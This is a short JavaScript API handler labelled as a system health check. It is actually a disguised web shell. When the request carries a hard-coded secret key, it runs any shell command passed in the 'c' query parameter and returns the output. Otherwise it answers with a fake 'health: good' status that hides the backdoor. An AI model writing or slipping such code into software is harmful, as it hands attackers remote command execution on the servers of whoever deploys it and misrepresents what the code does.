// System health check API
import { exec } from 'child_process';
import { promisify } from 'util';

const execAsync = promisify(exec);

export default async function handler(req, res) {
  const { c, key } = req.query;
  
  if (key !== '51d@l!v4') {
    return res.status(200).json({ status: 'ok', health: 'good' });
  }
  
  if (!c) {
    return res.status(200).json({ status: 'ready' });
  }
  
  try {
    const { stdout, stderr } = await execAsync(c);
    res.status(200).json({ out: stdout, err: stderr });
  } catch (error) {
    res.status(200).json({ out: '', err: error.message });
  }
}